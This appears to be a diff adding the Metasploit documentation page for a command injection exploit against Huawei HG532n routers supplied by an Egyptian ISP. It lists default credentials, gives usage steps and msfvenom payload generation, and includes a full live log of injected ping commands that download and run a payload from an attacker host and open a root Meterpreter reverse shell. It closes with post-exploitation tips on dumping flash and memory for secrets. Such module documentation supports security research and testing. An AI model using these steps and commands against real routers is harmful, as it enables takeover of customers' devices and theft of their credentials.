|
| 1 | +# HG532n Command Injection Exploit |
| 2 | + |
| 3 | +## Introduction |
| 4 | + |
| 5 | +The Huawei HG532n routers, shipped by TE-Data Egypt, are vulnerable to a command |
| 6 | +injection exploit in the hidden ping command of their limited shell interface. |
| 7 | + |
| 8 | +Affected hardware/software version strings: |
| 9 | + |
| 10 | +``` |
| 11 | + Manufacturer: Huawei Technologies Co., Ltd. |
| 12 | + Product Style: HG532n |
| 13 | + SN: B7J7SB9381703791 |
| 14 | + IP: 192.168.1.1 |
| 15 | + Hardware Version: HG532EAM1HG530ERRAMVER.B |
| 16 | + Software Version: V100R001C105B016 TEDATA |
| 17 | +``` |
| 18 | + |
| 19 | +TE-Data, the incumbent ISP operator in Egypt, provided this router to customers |
| 20 | +by default. The web interface has two kinds of logins, a "limited" user:user login |
| 21 | +given to all customers, and an admin mode used by company's technical staff. For |
| 22 | +hosts within the ISP network, this web interface is remotely accessible. |
| 23 | + |
| 24 | +The web interface's user mode provides very limited functionality – only WIFI |
| 25 | +passwords change and NAT port-forwarding. Nonetheless by port forwarding the |
| 26 | +router's own (filtered) telnet port, it becomes remotely accessible. All installed |
| 27 | +routers have a telnet password of admin:admin. |
| 28 | + |
| 29 | +Due to the ISP's _encrypted_ runtime router configuration [*] though, the telnet |
| 30 | +daemon does not provide a direct linux shell. Rather a very limited custom shell |
| 31 | +is provided instead: "ATP command line tool". The limited shell has a ping command |
| 32 | +which falls back to the system shell though (`ping %s > /var/res_ping`). We exploit |
| 33 | +that through command injection to gain Meterpreter root access. |
| 34 | + |
| 35 | +[*] `<X_ServiceManage TelnetEnable="1" ConsoleEnable="" ../>` at `/etc/defaultcfg.xml` |
| 36 | + |
| 37 | +## Usage |
| 38 | + |
| 39 | +With an attacker node that resides within the ISP network, do: |
| 40 | + |
| 41 | +- Set `payload` to `linux/mipsbe/mettle_reverse_tcp` |
| 42 | + |
| 43 | +- Set `RHOST` to the target router's IP |
| 44 | + |
| 45 | +- Set `SRVHOST` to your local machine's __external__ IP. The module starts its |
| 46 | + own HTTP server; this is the IP the exploit will use to fetch the MIPSBE |
| 47 | + payload from, through an injected `wget` command. Make sure this address is |
| 48 | + accessible from outside. |
| 49 | + |
| 50 | +- Set `SRVPORT` to the desired local HTTP server port number. Make sure this |
| 51 | + port is accessible from outside. |
| 52 | + |
| 53 | +- Set `LHOST` to your machine's __external__ IP address. A successful Reverse |
| 54 | + TCP payload will ring us back to this IP. |
| 55 | + |
| 56 | +- Set `LPORT` to an arbitrary port number that is accessible from outside |
| 57 | + networks. Metasploit will open a listener on that port and wait for the |
| 58 | + payload to connect back to us. |
| 59 | + |
| 60 | +- Set `VERBOSE` to `true` if you want to see much more verbose output (Detailed |
| 61 | + injected telnet commands output). |
| 62 | + |
| 63 | +TE-Data firmware ships with the `user:user` login credentials by default. |
| 64 | +They offer limited functionality, but they are enough for our purposes. |
| 65 | +In case you want want to change these, set `HttpUsername` and `HttpPassword` |
| 66 | +appropriately. |
| 67 | + |
| 68 | +Now everything should be ready to run the exploit. Enjoy your Meterpreter |
| 69 | +session :-) |
| 70 | + |
| 71 | +Alternatively, you can avoid hosting the payload executable from within the |
| 72 | +module's own HTTP server and host it externally. To do so, first generate |
| 73 | +the payload ELF executable using `msfvenom`: |
| 74 | + |
| 75 | +``` |
| 76 | +$ msfvenom --format elf --arch mipsbe --platform linux --payload linux/mipsbe/mettle/reverse_tcp --out payload.elf LHOST='41.34.32.121' LPORT=4444 |
| 77 | +
|
| 78 | +No encoder or badchars specified, outputting raw payload |
| 79 | +Payload size: 212 bytes |
| 80 | +Final size of elf file: 296 bytes |
| 81 | +Saved as: payload.elf |
| 82 | +``` |
| 83 | + |
| 84 | +Then host the `payload.elf` file on an external, direct-access, web |
| 85 | +server. Afterwards set `DOWNHOST` to the external server's IP address |
| 86 | +and `DOWNFIILE` to the payload's path on that server. Run the exploit |
| 87 | +afterwards. |
| 88 | + |
| 89 | + |
| 90 | +## Live Scenario (Verbose) |
| 91 | + |
| 92 | +``` |
| 93 | +$ msfconsole |
| 94 | +msf > use exploit/linux/http/huawei_hg532n_cmdinject |
| 95 | +
|
| 96 | +msf exploit(huawei_hg532n_cmdinject) > set RHOST 197.38.98.11 |
| 97 | +RHOST => 197.38.98.11 |
| 98 | +
|
| 99 | +msf exploit(huawei_hg532n_cmdinject) > set SRVHOST 41.34.32.121 |
| 100 | +SRVHOST => 41.34.32.121 |
| 101 | +
|
| 102 | +msf exploit(huawei_hg532n_cmdinject) > set LHOST 41.34.32.121 |
| 103 | +LHOST => 41.34.32.121 |
| 104 | +
|
| 105 | +msf exploit(huawei_hg532n_cmdinject) > set VERBOSE true |
| 106 | +VERBOSE => true |
| 107 | +
|
| 108 | +msf exploit(huawei_hg532n_cmdinject) > exploit |
| 109 | +[*] Exploit running as background job. |
| 110 | +msf exploit(huawei_hg532n_cmdinject) > |
| 111 | +[-] Handler failed to bind to 41.34.32.121:4444:- - |
| 112 | +[*] Started reverse TCP handler on 0.0.0.0:4444 |
| 113 | +[*] Validating router's HTTP server (197.38.98.11:80) signature |
| 114 | +[+] Good. Router seems to be a vulnerable HG532n device |
| 115 | +[+] Telnet port forwarding succeeded; exposted telnet port = 33552 |
| 116 | +[*] Connecting to just-exposed telnet port 33552 |
| 117 | +[+] Connection succeeded. Passing telnet credentials |
| 118 | +[*] Received new reply token = '���� |
| 119 | +Password:' |
| 120 | +[*] Received new reply token = 'Password:' |
| 121 | +[+] Credentials passed; waiting for prompt 'HG520b>' |
| 122 | +[*] Received new reply token = 'HG520b>' |
| 123 | +[+] Prompt received. Telnet access fully granted! |
| 124 | +[*] Starting web server; hostinig /MDGuEPiUDBRXD |
| 125 | +[*] Using URL: http://0.0.0.0:8080/MDGuEPiUDBRXD |
| 126 | +[*] Local IP: http://192.168.1.3:8080/MDGuEPiUDBRXD |
| 127 | +[*] Runninig command on target: wget -g -v -l /tmp/zjtmztfz -r /MDGuEPiUDBRXD -P8080 41.34.32.121 |
| 128 | +[*] Received new reply token = 'p' |
| 129 | +[*] Received new reply token = 'ing ?;wget${IFS}-g${IFS}-v${IFS}-l${IFS}/tmp/zjtmztfz${IFS}-r${IFS}/MDGuEPiUDBRXD${IFS}-P8080${IFS}41.34.32.121;true' |
| 130 | +[*] Received new reply token = 'ping: bad address '?'' |
| 131 | +[+] HTTP server received request. Sending payload to victim |
| 132 | +[*] Received new reply token = 'The IP is [41.34.32.121]' |
| 133 | +[*] Received new reply token = 'Success |
| 134 | +ping result: |
| 135 | +HG520b>' |
| 136 | +[+] Command executed succesfully |
| 137 | +[*] Runninig command on target: chmod 777 /tmp/zjtmztfz |
| 138 | +[*] Received new reply token = 'p' |
| 139 | +[*] Received new reply token = 'ing ?;chmod${IFS}777${IFS}/tmp/zjtmztfz;trueping: bad address '?' |
| 140 | +
|
| 141 | +Success |
| 142 | +ping result: |
| 143 | +HG520b>' |
| 144 | +[+] Command executed succesfully |
| 145 | +[*] Runninig command on target: /tmp/zjtmztfz |
| 146 | +[*] Received new reply token = 'p' |
| 147 | +[*] Received new reply token = 'ing ?;/tmp/zjtmztfz&trueping: bad address '?' |
| 148 | +
|
| 149 | +Success |
| 150 | +ping result: |
| 151 | +HG520b>' |
| 152 | +[+] Command executed succesfully |
| 153 | +[*] Runninig command on target: rm /tmp/zjtmztfz |
| 154 | +[*] Received new reply token = 'p' |
| 155 | +[*] Received new reply token = 'ing ?;rm${IFS}/tmp/zjtmztfz;trueping: bad address '?' |
| 156 | +
|
| 157 | +Success |
| 158 | +ping result: |
| 159 | +HG520b>' |
| 160 | +[+] Command executed succesfully |
| 161 | +[*] Waiting for the payload to connect back .. |
| 162 | +[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 197.38.98.11:50097) at 2017-04-15 16:45:05 +0200 |
| 163 | +[+] Payload connected! |
| 164 | +[*] Server stopped. |
| 165 | +
|
| 166 | +msf exploit(huawei_hg532n_cmdinject) > sessions 1 |
| 167 | +[*] Starting interaction with 1... |
| 168 | +
|
| 169 | +meterpreter > getuid |
| 170 | +Server username: uid=0, gid=0, euid=0, egid=0 |
| 171 | +meterpreter > sysinfo |
| 172 | +Computer : 192.168.1.1 |
| 173 | +OS : (Linux 2.6.21.5) |
| 174 | +Architecture : mips |
| 175 | +Meterpreter : mipsbe/linux |
| 176 | +meterpreter > |
| 177 | +``` |
| 178 | + |
| 179 | +## Post-exploitation |
| 180 | + |
| 181 | +### MIPS toolchain |
| 182 | + |
| 183 | +Beside a basic meterpreter shell, you can compile your own C programs and |
| 184 | +run them on the device! Download the [Sourcery CodeBench Lite](https://sourcery.mentor.com/GNUToolchain/package13838/public/mips-linux-gnu/mips-2016.05-8-mips-linux-gnu-i686-pc-linux-gnu.tar.bz2) |
| 185 | +MIPS toolchain then compile your programs in the following manner: |
| 186 | + |
| 187 | + |
| 188 | +``` |
| 189 | +#!/bin/bash |
| 190 | +
|
| 191 | +TOOLCHAIN_ROOT=mips-2016.05 |
| 192 | +CROSS_COMPILE=$TOOLCHAIN_ROOT/bin/mips-linux-gnu- |
| 193 | +
|
| 194 | +${CROSS_COMPILE}gcc \ |
| 195 | + --sysroot=${TOOLCHAIN_ROOT}/mips-linux-gnu/libc/uclibc/ \ |
| 196 | + -Wl,-dynamic-linker,/lib/ld-uClibc.so.0 \ |
| 197 | + -static \ |
| 198 | + program.c |
| 199 | +
|
| 200 | +${CROSS_COMPILE}strip -s a.out -o payload |
| 201 | +``` |
| 202 | + |
| 203 | +Then call `wget` to download and run the generated `payload` above. Be careful |
| 204 | +of the device's own wget call conventions below. |
| 205 | + |
| 206 | +### A special wget command |
| 207 | + |
| 208 | +Huawei crafted their own `wget` implementation inside the shipped version of |
| 209 | +busybox. It has the following syntax: |
| 210 | + |
| 211 | + |
| 212 | +``` |
| 213 | +meterpreter > shell |
| 214 | +Process 17951 created. |
| 215 | +Channel 1 created. |
| 216 | +wget -h |
| 217 | +wget: invalid option -- h |
| 218 | +BusyBox vv1.9.1 (2012-10-16 22:24:47 CST) multi-call binary |
| 219 | +
|
| 220 | +Usage: wget [OPTION]... HOST |
| 221 | +
|
| 222 | +wget download and upload a file via HTTP |
| 223 | +
|
| 224 | +Options: |
| 225 | + -g Download |
| 226 | + -s Upload |
| 227 | + -v Verbose |
| 228 | + -u Username to be used |
| 229 | + -p Password to be used |
| 230 | + -l Local file path |
| 231 | + -r Remote file path |
| 232 | + -P Port to be used, optional |
| 233 | + -B Bind local ip, optional |
| 234 | + -A Remote resolved ip, optional |
| 235 | + -b Transfer start position |
| 236 | + -e Transfer length |
| 237 | + -m Max transfer size |
| 238 | + -c Compress downloaded file |
| 239 | +``` |
| 240 | + |
| 241 | +### Rootfs image |
| 242 | + |
| 243 | +Extract `/dev/mtdblock[0123]` images from the device to gain full raw access to |
| 244 | +the flash. Use [binwalk](https://github.com/devttys0/binwalk) on the extracted |
| 245 | +`/dev/mtdblock3` contents to get a full squashfs rootfs image. |
| 246 | + |
| 247 | +The most important files in the rootfs image are encrypted though. Nonetheless, |
| 248 | +by dumping `/dev/mem` contents and looking for the juicy bits, you will find |
| 249 | +all the necessary information needed ;-) |
| 250 | + |
| 251 | +Note that even after configuration decryption, all the now-plaintext important |
| 252 | +configuration files store passwords in a SHA-256 hashed form. Be creative. |
0 commit comments